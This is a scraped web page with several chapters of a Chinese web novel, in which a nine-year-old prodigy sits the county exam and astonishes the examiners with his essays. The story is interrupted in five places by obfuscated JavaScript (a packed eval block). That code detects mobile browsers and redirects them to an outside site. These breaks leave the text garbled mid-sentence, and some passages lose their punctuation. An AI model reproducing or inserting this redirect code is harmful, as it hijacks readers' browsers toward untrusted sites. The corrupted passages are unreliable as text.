今神剑出鞘,以考场作战场—— 势要摘魁首! 回到家后,崔岘放缓节奏,收拾好书箱,清点笔墨纸张。 次日,他让仆从帮忙准备了一份食盒,又同老崔氏、陈氏道:“祖母,娘,孩儿明日有事,需早起。可能一整天都在外面,要很晚才能回来。 老崔氏正在忙着学算术,大手一挥:“行,你且去吧。 崔岘想了想,问道:“您就没什么要问的? 老崔氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088391|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“没有。 陈氏一边逗弄闺女,一边说道:“注意安全,不回来也行,派人知会一声。 崔岘:“…… 行吧。 他其实想说,好歹我也是要去参加科举的,你们重视一点嘛! 孩子还小,考试有家长陪同,说不定发挥的更好呢? 但又想了想,自己活了两辈子,大大小小的考试经历过无数次,自己去就自己去呗。 于是,崔岘早早回房睡觉。 次日天没亮,全家人都在酣睡的时候,崔岘拎着食盒、书箱,悄然离家。 伏牛巷子里。 裴坚特地提着食盒、书箱,忐忑等待着。 瞧见崔岘出来,他惊喜道:“岘弟!我还以为你不打算去了呢! 崔岘问道:“吃过早膳了吗? 见裴坚摇头,他打开食盒,分给对方几块糕点,说道:“我去参加科考,你去族学上课吧。大哥,你这次太不懂事了。过了今日,你祖父、祖母,肯定要收拾你。 裴坚勉强挤出个笑脸:“大不了被打一顿,我都习惯了。那你快去吧,去替大哥中个县案首回来! 说起来也神奇。 目前相信崔岘 肯定能中榜的,好像只有裴坚。 崔岘冲他笑了笑,应声道:“好。” 说罢,朝着县衙方向,急匆匆而去。 裴坚看着他远去的背影,咧开嘴傻笑。 县衙。 此刻天还未大亮,许多考生都在衙门外面翘首以盼,神情或忐忑、或凝重、或畏怯。 这群考生当中,有少年,有青年,有中年,甚至还有几个头发花白的老翁。 但……崔岘仍旧是最显眼的那一个。 因为他实在太年幼了,而且太过有名气。 哪怕消失了半年,很多人仍旧一眼便认出了他。 “小神童!他竟然真的来参加童生试了?” “是不是有点太着急咯。” “可能只是来走个过场,提前适应考场。” “啧,那岂不是说,咱们这次,能压过小神童一头咯?” “虽然这话有些无耻,但想想还真是,咱们这辈子,怕是只有这一次好机会了。以后出去吹牛,都能说那一届童生试,小神童都是我的手下败将哈哈。” “确实,再过几年,谁敢说自己能比小神童强。但现在么……嘿嘿。” 崔岘出现后,衙门外的紧张气氛顿时为之一松。 很多人暗戳戳不怀好意盯着他,表情微妙。 时隔半年,崔岘身上的光芒稍微黯淡。 他们觉得自己又行了。 ? 101、县试(上) 县衙外。 迎着诸多打量的目光崔岘神情平静。 他轻易便能看懂这些人眼神中的微妙但很可惜科举并不是考‘眼神戏’。 干瞪眼是没用的兄弟。 大家还是笔下见真章吧。 崔岘的到来只是让考生们有片刻的分神而后气氛重新变得凝重。 因为这是大梁王朝全国统一的科举考试——县试啊! 只有通过了这一场考试才算正式踏上漫漫科举路的第一步。 而县试的录取率…… 崔岘抬头看向周遭密密麻麻的考生猜测至少得有近千人。 能成功‘上岸’获得童生功名的多则100人少则50人。 由此可见古代科举考试是个多么残酷的事情。 卯时来临。 在考生们紧张的注视下。 县衙大门敞开差役们神情严肃的结队走出来开始点名、核验身份。 崔岘打开书箱将自己的廪保单、互结单、户籍证明、身家清白自述文书提前取出来。 说来也是无言这些流程他一个没参与。 裴坚一手全给包办了。 必须要承认大哥在某些方面也确实是个人才。 因为考生众多崔岘站在其中排了很久的队伍才轮到他。 负责核验的差役盯着崔岘端详片刻高声道:“崔岘年九岁短小精干面白无须俊俏清瘦。都对上了 别的都还好说但‘短小精干’是什么鬼? 兄弟谁教你这么用形容词的啊! 虽然现场气氛严肃。 但差役这番话还是引来一些抑制不住的低笑声。 崔岘无语凝噎。 不管怎么说身份核验这一关算是过了。 但这只是个开始。 考生们核验完毕身份由衙门差役带领前往县学外集合。 一身官袍神情严肃周身带着‘父母官’气场的叶怀峰县令已经提前在县学外等待着了。 县试开始前按照律令县太爷是要给考生训话的。 以前 叶怀峰做考生的时候,每考一次,都会被训话一次。 如今一转眼,也轮到他训考生了! 想想心情也是有点微妙。 “朝廷开科取士,务在得人。尔等当恪守考规,勿挟私书,勿怀诈伪。若敢舞弊……” 叶县令一双眼睛含着煞气,一边训话,一边在考生当中巡视。 试图先用这番训话做杀威棒,杜绝掉任何考生敢**的心思。 然而。 当走到考生中间,和崔岘对上视线后,叶怀峰愣住了。 他难以置信的瞪大眼,险些以为自己出现了幻觉。 不是……你咋来了啊老弟?! 本届县试,县衙礼房收到了上千份报考文书,叶县令自然是不可能每一份文书资料全都过目的。 以至于在这里瞧见崔岘,他多少有点猝不及防。 崔岘神情无辜的跟他对视。 片刻后。 叶怀峰转移开视线,继续道:“若敢舞弊,枷号示众,功名尽革!” 除了训话。 县尊大人还得准备一份厚厚的‘演讲稿’,当众宣读。其中大多都是屁话,提炼出来的核心内容无非就两句: 赞美孔孟两位老人家,赞美咱们的皇帝陛下! 等领导的屁话讲完了。 衙门差役们再次聚拢过来,开始搜检入场。 县试的搜检,自然是比不上乡试那般变态,但也不容小觑。 首先便是脱衣服,仅剩单衣单裤,鞋袜都会被仔细检查。 三月份虽然已经回暖,但大早上的,寒气未消,衣服一脱,属实冷的有些发抖。 但还算能接受,至少不会跟乡试那般,被当众扒开屁缝。 有道是,一切奇葩的规矩,都事出有因。也不知第一个屁缝藏小抄的兄弟,是怎么想的。 除了检查衣服。 书箱里的笔墨、砚台、干粮,都要一一检查到。 干粮饼子、馒头会被掰开。 毛笔笔杆也要拧开,检查是否藏了纸条。 足足上千考生,这样一个个繁琐的检查,没有一两个时辰,根本查不完。 但考生们只能耐着性子等。 这真的很磨人心态,有些考生在等待的过程中,就开始不停哆嗦了。 好在,崔岘这次几乎没等多久。 前面象征性喊了几个人以后,就叫了他的名字。 按照规矩仔细搜查完,差役给他发了一份答题纸,一份草稿纸。 而后低下头,用极为弱小的声音说道:“崔小公子,县尊让我给您托话,座次选八排九列。 “多谢。 崔岘同样用极小的声音回复,而后带着答题纸、草稿纸,走进了考场。 考场里。 县尊大人已经在里面坐着了,二人互相对视,随后默契各自挪开视线。 南阳县并不算富裕,但好歹也是个府城。 虽说不像江浙那边奢侈阔绰,设置有单独的县试考场,供考生们使用。 可这‘临时考棚’搭建的,也算似模似样。 只是毕竟有上千考生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088392|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考棚里的桌椅都是东拼西凑来的,一看就是不知流传了多少代的‘老物件’。 其实这都算好的。 一些偏远贫困县区,考试甚至要自带板凳桌子、和答题纸。甚至连考棚都没有,直接露天开考。 如《儒林外史》记载,范进便是“负桌提凳去参加科举考试的。 若遇到刮风下雨天,那真的要当场崩溃。 崔岘按照叶怀峰的提示,找到了八排九列。 这里光线充足,远离茅厕,头顶棚子盖的严密,不仅隔绝掉太阳光线直射,就算刮风、下雨也波及不到。 衙门有人,真是好办事啊。 因为县试第一场,也是最为关键的一场,只考一天。 白日开考,傍晚结束。 还有个更严格的规矩就是,不许点灯。 所以当考试考到最后的时候,光线充足的好处,就立刻体现出来了。 崔岘进来的早,只能在座位上等着。 桌面上放着答题纸和草稿纸,这也是有讲究的。 草稿纸是黄麻纸,考完后,县衙要回收。 而答题纸,是官制试卷纸,印红色竖线,每页10行×20字,卷首盖着县衙的朱印。 搜检入场这一环节,实在浪费时间。 崔岘等的两眼放空,甚至有点饿了。于是干脆打开食盒,开始吃糕点。 周围一群考生纷纷侧目看过来,心想:小神童这是明知自己来走过场的,所以才会如此气定神闲吧? 于是,他们开始安慰自己:莫怕莫怕,好歹有小神童帮忙垫底呢! 崔岘并不在意别人的想法。 他吃饱了,搜检入场终于结束了。 此时天光已然大亮。 叶怀峰命令差役们把门锁好。 哐啷! 一位书吏敲响了考场最前方的铜锣,示意考试开始。 考棚最前方。 在无数考生紧张的注视下,县尊大人提起笔,在题牌上,写下了县试第一场的**目。 那是两道时文八股题。 第一题:武王缵太王、王季、文王之绪。 第二题:今夫天。 看到这两个题目,现场当即响起无数考生倒抽冷气的声音。 甚至有人眼前一黑,在心里暴躁骂娘。 上岸第一剑,先斩后来人,是吧? 自己淋过雨,所以要撕掉别人的伞。 会不会好好出题! 我就问你会不会好好出题啊! 被诸多考生恶狠狠盯着的叶怀峰满脸无辜。 ? 102、县试(中) 当县试开考的时候。 裴氏族学。 裴坚背着书箱晃晃悠悠去上课。 吴清澜正在廊下给学生讲题远远瞧见裴坚总觉得哪里不太对? 但一时间又没想明白问题出在哪里。 裴坚现在有种死猪不怕开水烫的平静疯感只等暴风雨来临因此还笑嘻嘻跟吴清澜打了个招呼:“哟吴夫子好巧。” 而后他走进课堂。 不出意外收获了全课堂所有同窗‘震撼崇拜’的目光。 众所周知今日是县试而裴坚报考了县试。 可现在……他却出现在了族学课堂里。 庄瑾呆愣愣看着裴坚片刻后感慨道:“不愧是你啊裴坚。” 李鹤聿想了想提前从书箱里掏出一盒药膏目露同情:“兄弟我只能帮你到这里了。” 高奇竖起大拇指:“好哥哥弟弟向来是最佩服你的但愿哥哥你明天还能顺利活着。” 裴坚在他们旁边坐下正欲接话。 下一刻。 暴怒的吴清澜冲进课堂气的脸皮都在哆嗦:“裴坚!连县试你都敢旷考?你是不是想把我给气死?” 说罢。 在学子的惊呼声中他举起手中的戒尺朝着裴坚身上狠狠打了过去。 而另一边。 县试考场。 在一众考生们倒抽冷气的声音中考试开始了。 哪怕在心里把叶怀峰骂成筛子试还是得考的啊! 看着下方神情发白、脸色哆嗦的考生们叶怀峰在心里嘿嘿怪笑。 县试是县令负责出题不假。 但将来这些题目都是要上报的。 作为一县父母官 而很显然叶县令对自己出的这两道县试题很是满意。 可……这就有点坑自家小老弟了。 叶怀峰看向崔岘所在的方向多少有点心虚。 他是真没想到崔岘会来参加科举。 可能是东莱先生的意思吧让弟子来提前适应一下考场氛围为将来仕途铺路。 这么想,叶怀峰安心了些。 崔岘坐在考场里,无视周围各种死动静,陷入思考。 这两道题,都出自《中庸》。 其中,‘武王缵太王、王季、文王之绪’这个题目,原文是: 武王缵太王、王季、文王之绪,壹戎衣而有天下,身不失天下之显名,尊为天子,富有四海之内,宗庙飨之,子孙保之。 而‘今夫天’的原文出处是: 今夫天斯昭昭之多,及其无穷也,日月星辰系焉,万物覆焉。今夫地一撮土之多,及其广厚,载华岳而不重,振河海而不泄,万物载焉。 第一道题大概意思是说,周武王继承了前面三位未竟的功业,一身戎装平定天下,被尊为天子。 这道题看似很简单,实则是个大坑。 反倒是第二道题,看似是个很抽象的大坑,实则相对简单。 第二道题的意思是:天,从小小的一片光,到覆盖万物。地,从小小的一撮土,到托载山河。 当别人还在苦苦皱眉的时候。 崔岘取出草稿纸,在其上写出两道题目的原文出处。 这个也是马虎不得的,它看似是草稿纸,实则是‘解题思路’,是证明你没有抄袭的证据。 届时,考卷和草稿纸,都是要上交的。 当然还值得一提的是,这种科举题目,并不会给出一段原文。最多也就给一句,甚至半句,或者几个字。 如果基本功不够扎实,你甚至不知道这句话原文是什么,那就直接凉了。 别考了孩子,回家吧。 就比如崔岘旁边的一个考生,一直在幻想,有小神童给自己垫底。 拿到题目后,他满脑袋问号,急得抓耳挠腮。 结果一抬头,人家小神童正在奋笔疾书呢! 这位考生就慌了。 不是,这种见鬼的题目,你真的会吗?别不是在瞎写的吧! 你要是瞎写的话,那我也要开始瞎写了嗷! 崔岘自然不可能瞎写。 他本就胸有学识,半年来苦读大量藏书,充实自己。 又有东莱先生每日做八股时文,现场授课破题。 现代思想,与古代学识互相融合,这是一 笔何其宝贵的无上财富。 因此崔岘一眼就看出第一道题目里隐藏的‘大坑’。 当然可能出题的叶怀峰自己都没意识到这是个坑。 武王缵太王、王季、文王之绪——这个题目很多人几乎不用思考便理所当然解读为三王缵绪未成到周武王这里才了却了三王之志值得歌颂受万民敬仰。 所以自觉破了题目的考生便以歌颂周家祖孙为核心开始起笔。 乍一想似乎没什么。 可仔细一想好家伙! 合着你们周家父子祖孙累世累代不干别的个个都在想着夺天下当天子呢? 一家子反贼是吧。 这跟圣贤之意就完全相悖了啊! 所以得重新解读‘缵绪’二字: 能修德仁不堕基业得到天与人归一身绒衣便能获得天下。哪怕以臣伐君也会在历史上留下好名声。 因此这个题目的重点就不在‘缵绪’。 而在于未出现在题目里的‘壹戎衣’—— 壹戎衣而有天下! 壹戎衣不是结束了上文而是要从这三个字里发起下文啊! 而下文要阐述的观点就很清晰了:周武王重壹戎衣而非重天下正是这样他才能做天子、得天下受万民敬仰。 这简直是教科书级别的‘**正确’。 堪称无敌。 孔孟活过来也推翻不掉的理论! 哦对提起孔孟崔岘突然有了一个大胆地想法。 既然这个题目自己破的这般完美。那为何不揣摩语调、模仿口气、务期克尽代圣贤立言立意呢? 这并不唐突。 因为八股文本就是代圣人言来破题的啊! 但今日他破出来的这个题目简直像是从孔孟嘴里亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088393|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出来的一般。 崔岘莫名有些激动眼神发亮。 他甚至觉得自己若是全力写出来这篇八股文想必又要引起好一番轰动。 ……但他答应了老师要低调。 然而再一想 对不起了老师。 我也想低调,可实力它不允许啊! 心里这样想着。 崔岘提笔沾墨,在草稿纸上写下自己的破题思路: 惟圣人能继先业以成武功,故能得声誉之盛,而备诸福之隆也! 写完这一句,崔岘心中满意极了。 他甚至觉得,像是东莱先生这样的八股文大师来了,也破不出比这一句更完美的题了! 这种灵感如有神助,超常发挥的滋味,很上头。 很振奋。 而这种良性循环的振奋,会让思路开始燃烧,越来越通透,越来越有蓬勃的生命力! 他不仅文思泉涌。 还下笔如有神助,提二比、中二比、后二比,束二小比、缩入、收缴、反振、分承、束上,每一个手法,都娴熟的运用其中。 文采斑斓,神骨色泽,无半分八股文之枯简! 写到最后,他甚至坐在那里,开始笔走龙蛇,如鸾翔凤翥般,写的行云流水! 旁边的考生看傻了。 怎地……还把自己给写急眼了呢? 最先发现崔岘异常的,是坐在前方,一直关注着崔岘的县令叶怀峰。 但他是主考官,不便过去查看情况。 略作思索后,叶怀峰看向身旁负责监考的教谕。 教谕先生会意。 他开始走进考场,状似负责监考,从一个个考生身边路过。 最后佯装不经意,逐渐靠近崔岘。 县试并不算严格,阅卷也不需要糊名、誊录。 很多时候,都是考生交卷后,县令,和一众考官们当场批阅。 知道崔岘是东莱先生的弟子,又看这孩子动静实在不小,不仅叶县令好奇,老教谕也好奇。 他想过去瞄一眼。 为了不显得过于刻意,老教谕先看了崔岘旁边那位考生的草纸,而后无声翻了个白眼。 甚至犹觉得不解气,鼻孔里不轻不重发出一声冷哼。 写的什么玩意儿,辣眼睛! 那位学子:? 见老教谕‘哼’了自己,那学子不服气,暗戳戳看着老教谕站到了崔岘身后,期待小神童也被‘哼’一声。 结果。 就见老教谕瞄了一眼崔岘的草纸,当场如遭雷击,愣在原地。 而后弯下腰,恨不得把眼睛都黏在崔岘的草纸上,眼珠子都快瞪出来了。 一张老脸,更是因为激动振奋,涨的通红。 那位学子彻底迷惑了。 小神童写个八股文,把自己写急眼了。 老教谕看了会儿,把自己给看急眼了。 这……你究竟写了什么啊! 急死我了,你们要不让我也看一眼呢? ? 103、县试(下) 这里是县试考场。 所以不管旁边那位考生有多抓心挠肺,都无法看到崔岘的答卷内容。 但那位老教谕能看得到啊! 一开始,他真的只打算瞄一眼的,他发誓,就瞄一眼而已。 可就是这一眼,让老教谕彻底沦陷了。 原来‘武王缵太王、王季、文王之绪’一题,还可以这样来破? 惟圣人能继先业以成武功,故能得声誉之盛,而备诸福之隆也! 看着崔岘写在草稿纸上的破题思路,老教谕激动的脸色涨红,整个人甚至都有些颤抖。 生平头一次,他知道了什么叫做‘振聋发聩’! 这一行字,宛如晴空一道惊雷,在自己耳边轰然炸响。 让老教谕醍醐灌顶,茅塞顿开。 他垂垂老矣,读了一辈子圣贤书,写了一辈子八股文,钻研了一辈子的笔墨功夫。 如今却在一个九岁稚童身上,学到了‘真东西’! 所以,老教谕站在崔岘身后,苍老的目光虔诚又贪婪,死死地盯着崔岘桌案上的文稿。 崔岘此时文思泉涌,已进入物我两忘的境界,正在奋笔疾书。 他字本就写的极好,现在笔走龙蛇,草稿纸上那篇文章,字迹潇洒飘逸,意、势、韵、形、神俱在! 这甚至是一张足以称作‘上上乘’的惊艳震撼字帖! 老教谕看的心神激荡。 偏偏这如此上等好字,反而只起到了锦上添花的作用。 因为真正的‘瑰宝’,是这篇八股文本身啊! “武王于是因累世缔造之功而为一旦放伐之举。牧野之师方会,而前徒已倒戈。华阳之马既归,而天下遂大定。则前人之业于是而始成,而前人之心于是而始慰矣! “由是而祀乎其先,则假哉皇考,绥予孝子,莫不以格而以享。 “由是而传之于后,则穆穆皇皇,宜君宜王,莫不是继而是承。 将崔岘写的这篇八股文,在心中大声朗诵。 老教谕越读越震撼。 且不提这篇文章,无半点八股文的枯燥,反而写的文采斑斓,绚丽磅礴。 读到最后,老教谕甚至生出一种恍惚: 这篇文 章,更像是圣人亲临开口,说出的溯本求源之至理名言! 由此可见,老教谕内心何等激荡。 他怔怔看着眼前只有九岁,在奋笔疾书做锦绣文章的崔岘,无言失声。 众所周知:天才总是不讲道理的。 但……你是不是有点太过不讲道理了? 人,怎么能天才到这个地步啊?! 崔岘不知老教谕的想法。 他把自己给写嗨了,甚至没有注意到,身后站着一位教谕先生。 第一题写完了。 他开始破第二题。 今夫天,这一题看似很抽象,实则相对简单很多。 表面是在讲天地。 实则在说‘至诚无息’的圣人境界——其德行如天地般永恒承载化育万物,呼应儒家‘天人合一’的思想。 这一题难得不是有‘大坑’,难点在于太杂乱。 元素太多,题目冗长,要抓住哪个点去放大写呢? 崔岘略作思索,在草稿纸上写下破题句: 《中庸》究天地生物之盛,所以明至诚无息之功用也。 看完这句话,老教谕愣在原地,久久不语。 而后。 这位年过半百、以钻研学术为己任的老夫子,竟不敢再看下去了。 他深吸一口气,在旁边学子疑惑的注视下,颤巍巍离开。 苍老的背影,看起来有些佝偻,也有些……酸楚和可怜。 学了一辈子,到头来远远比不上一位刚开蒙一年的九岁稚童,教谕怕自己再看下去,‘道心’就要破碎了。 回到考场最前方。 叶怀峰给教谕使了个眼色,暗含询问。 怎么了这是,说句话啊! 然而,教谕并不理会县尊大人。他安**在监考位上,整个人看起来心神恍惚、怔怔无言。 叶怀峰:? 县尊大人感觉很莫名其妙。 先是看了看教谕,又狐疑看向考场中的崔岘,心想:难道小老弟写的很差劲,把老教谕给干沉默了? ……不至于吧! 虽心中知道,小老弟的天资有目共睹。可一想到崔岘才开蒙一年,叶怀峰又难免有 些替他揪心。 时间缓缓流逝。 已经有人因为实在答不上题开始认命放弃提前交了答卷。 这交答卷也是有讲究的。 考生要走出考棚来到县衙准备的铜锣前敲打铜锣。 而后自会有书吏过来带走该考生的答卷、草纸。 但考生并不能马上离场。 要在院门处候着等县衙统一敲梆子。梆子一响放牌时间到第一批交卷的考生就可以出去了。 第一批考生出去院门再次关闭。 至于后面没交卷的。 还有一个时辰的时间再拖下去就不行了因为天黑了。 考场不点灯你想再继续考也没办法。就算没写完也得硬着头皮交卷。 崔岘的时间自然是很充裕的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088394|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他写完两篇八股文草稿缓上片刻吃了些糕点充饥。 又在差役的带领下去出了一次小恭。 然后回到考案开始誊写。 草稿纸字体无所谓但考卷的内容需要用‘馆阁体’来誊抄。 这个问题不大崔岘本就会写。先前的半年他在东莱先生的小院里也经常练习。 唯一要注意的是一些字典故、成语都要小心避讳当今圣上。 这个问题也不大半年时间的苦读让崔岘补足了这方面的空缺。 但崔岘仍旧写的很小心。 因为不能错字、溅墨更不能写在红线格外甚至字体大小都得控制的差不多不容半点出错。 一旦这些出了问题就算文章再好都会让名次无限落后于旁人。 等两篇八股文誊抄好了。 崔岘细细吹干墨痕又自己检查一遍确定没有任何纰漏。这才起身去敲响铜锣。 现在还早交卷的人并不算多。 见崔岘站起来交卷 这么早就交卷了? 难不成是直接放弃啦? 啧。 考生们神情微妙但此刻也顾不上别人各自又低头继续开始抓耳挠腮、苦思冥想。 书吏闻声走来带走了崔岘的 考卷、草纸。并示意崔岘莫要在考场逗留,去考场门口,统一等待放牌。 接着。 书吏带着崔岘的考卷,呈送给叶怀峰。 县试没那么多讲究,基本上都是考生一交卷,县尊大人当场就能开始批阅了。 考场最前方。 注意到崔岘交卷的老教谕,看着书吏把试卷呈交给叶怀峰,不知道为何,竟然有几分不怀好意的期待。 他想看看年轻的县尊大人,瞧见这两篇堪称‘盖世神作’的八股文,会是什么表情? 叶怀峰没有注意到教谕的异常。 他着急看小老弟写了什么内容呢! 因此书吏一把崔岘的试卷送来,叶怀峰就迫不及待打开,开始审阅。 第一眼,叶怀峰瞳孔开始瞪大。 第二眼,叶怀峰脸色开始涨红。 第三眼…… 县尊大人拿着那试卷,颤抖着猛然站起来,满脸震撼呆滞,怔怔无言。 老教谕看着这一幕,心里突然就微妙的舒坦了很多。 此时考场一片静。 县尊大人突然站了起来,神情还格外激动,让一众考生茫然看过来,有些摸不着头脑。 怎么了这是? 没有人知道,叶县令脑子里现在就一句话—— 小老弟,你真是强的可怕啊! ? 104、两篇八股文引发的汹涌暗潮(上) 叶怀峰的想法,崔岘暂时不得而知。 交完试卷后,他去考场门口等候。 此刻,已经有很多考生提前在这里**。 见小神童来了,纷纷看向他。 那位被教谕翻白眼、好奇崔岘试卷内容的学子,终究是没忍住,问道:“小神童,你考得如何?” 其余人闻言,都赶紧竖起耳朵偷听。 自从出名以后,崔岘收获了很多赞美,自然也收获了很多恶意。 人们好像很热衷于看到天才崛起。 然后再看着天才陨落。 崔岘今日两道题答得非常满意,心情极好,因此不介意也让这些人跟着,短暂开心一下。 于是佯装沉重,苦笑一声。 看似什么都没说,但好像什么都说了! 问话那位学子咧开嘴笑,但又觉得自己过于幸灾乐祸,因此赶紧惋惜道:“别灰心,你还小,以后总有机会的。” 说完后,他又得意洋洋加了一句:“我感觉自己这次考的还不错。” 不是,谁问你了啊? 崔岘很是无言,默默站在一旁,等待放牌开院门。 其余学子们,则是神情振奋的窃窃私语,偶尔看向崔岘的目光里满是同情。 听说,只是听说啊。 方才小神童交完答卷,县尊大人看完以后,气的竟然直接站起来了! 又约莫过去小半个时辰。 梆子声响起。 考场院门打开。 崔岘随着众多考生,走出考场。 让崔岘惊讶的是,裴崇青竟然派了一辆马车来接他。 “岘哥儿,快上车。南阳县城外三十里,有处桃花山林,最近风景极美。我让你裴祖母,邀请了你们全家过去游玩。” 裴崇青道:“他们白日已经过去了,你刚好考完,也跟着过去玩几天,放松放松心情。” 因为怕崔岘为难,裴老爷子自觉非常贴心,都没问他考的如何。 但卡着考完县试的点,把崔岘,和全崔家人都送去‘旅游’。 想来裴老爷子,这是准备狠狠惩戒一番裴坚了。 崔岘有些不忍心,迟疑道:“祖父,一定要这样 吗?大哥他……” 裴崇青脸上既生气又心疼:“岘哥儿老夫知道你跟裴坚兄友弟恭。但科举兹事体大不让他狠狠长个教训以后他指不定要捅出多大的篓子呢。” “老夫相信这件事过后他再也不敢莽撞行事了。你听祖父的且去玩几天吧。” 奥。 最后崔岘实在没辙上了裴府的马车赶往桃花山林。 而裴崇青则是板着脸回家准备教训自家那位逆子。 另一边。 叶怀峰坐在考场里跟老教谕同款表情:心神恍惚、怔怔无言。 但凡他今日没有成功‘上岸’坐在县令的位置看到这两篇八股文一定会道心破碎。 还好还好啊! 还好老子考中了要不然跟崔岘坐在同一个考场得多可怕啊。 这样想着叶怀峰看向考场里的考生们目露同情。 现场其余考生:? 总觉得县尊大人的眼神包含了太多意味难明的情绪! 戌时。 天色彻底暗淡县试第一场终于结束。 在衙门差役们莫名其妙的注视下便见县尊大人神情激动把县学教谕、训导等先生们都带去了旁边的屋舍。 不久后。 屋舍里响起此起彼伏的倒抽冷气声激动震撼声、颤抖叫好声。 “这……此等锦绣文章老夫平生仅见!” “难道这便是真正的天才?” “我不如也我远远不如也!” “大半生寒窗苦读竟不如人家一年开蒙 “这合理吗?难不成我大梁文脉长他身上了?” 差役们面面相觑不知道这群读书人又在发什么癫。 但实际上屋舍里包括县尊大人在内每个阅卷的儒学教官此刻都已经‘癫’了。 油灯昏暗。 照映的所有人脸色都有些近乎渗人的红。 而桌案上那份试卷便是引发他们‘癫狂’的始作俑者。 老教谕近乎虔诚的、颤巍巍拿起那份试卷一双眼睛死死盯着叶怀峰:“县尊大人您务必要将崔岘点做县案首!” 县案首,都是由县令指定的。 县试一共考五场,最重要的就是这第一场。后面四场,考生可参加,可不参加。 因为后面四场,就是反复筛查,最后确定县案首的人选。 若是第一场,有人以碾压的优势胜出,那么直接点县案首也是可以的。 问题是—— 崔岘才九岁啊! 大梁王朝先前最年轻的县案首,是11岁。 也就是说,一旦把崔岘点做县案首,那就是‘破纪录’。还是史无前例的,9岁记录! 这一定会引发一场震惊大梁的大轰动。 官场体制内的规矩,下官办事不可以太过逾矩出格,这会导致你的上官,陷入被动。 哪怕这个事你一定要办,那你得报备。 叶怀峰如今已不是愣头青。 他知道,一旦自己点了一个9岁的县案首,一定会引发大梁轰动。 而后,士林、官场、学子们的目光,都会恶狠狠地盯向自己。 他出的题目会被反复审查。 崔岘做的八股文,也要公示于众。 提学大人绝对要亲自过问此事。 包括府尊大人,也要受到牵连。 这还不止! 因为崔岘身上不仅仅‘九岁’这一个骇人的点。 他还是东莱先生的关门弟子,次辅阁老大人的徒孙,半年前声势浩荡的名门百家恭贺收徒宴,还历历在目。 但朝堂又不是郑阁老一人的天下,他肯定有政敌。 “南阳县令为讨好郑阁老把他九岁的徒孙点为县案首,想来我大梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088395|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科举是在为郑阁老选拔人才什么的,一看就是一些官员信口就能说出来的癫话。 御史台、督察院的无脑喷子们,怎么可能忍住不跳出来激情开喷? 总之,郑阁老绝对是要吃几封**奏疏的。 闹到后面,礼部说不定都要派人过来核实情况。 这是小叶县令上任的第二年。 他从未经历过这种大阵仗……嗯,好像也经历过一次,赵志案。 那也是他家小老弟闹出来的! 可这次场面很有可能更大,叶怀峰忍不住开始哆嗦。 但,这里面有一个关键的点:崔岘是有真才实学的! 叶怀峰,老教谕等人,是亲眼看着他答的试卷。 那就不用怕。 外界的一切质疑,到时候都会成为崔岘身上的荣耀,让他越发耀眼—— 他就是最不讲道理的妖孽天才! 因此。 脑子里把一切思路捋顺后,叶怀峰一咬牙,在屋舍里其余人兴奋的注视下,道:“好!崔岘这个县案首,本官点了!” “尔等莫要声张,本官这就去找知府大人商议!” 不管怎么说,我小老弟有才,他没有错。 他写了这般锦绣文章,拿个区区县案首,实至名归! 本官作为县尊,一定要守卫住我小老弟的县案首功名! 怀着某种坚定的心态,叶县令赶去了宋知府家。 大晚上被打扰,听说还是点县案首这种小破事儿,宋知府很不满。 因为县案首就是县令的差事,要等到府试、院试,知府才会接手。 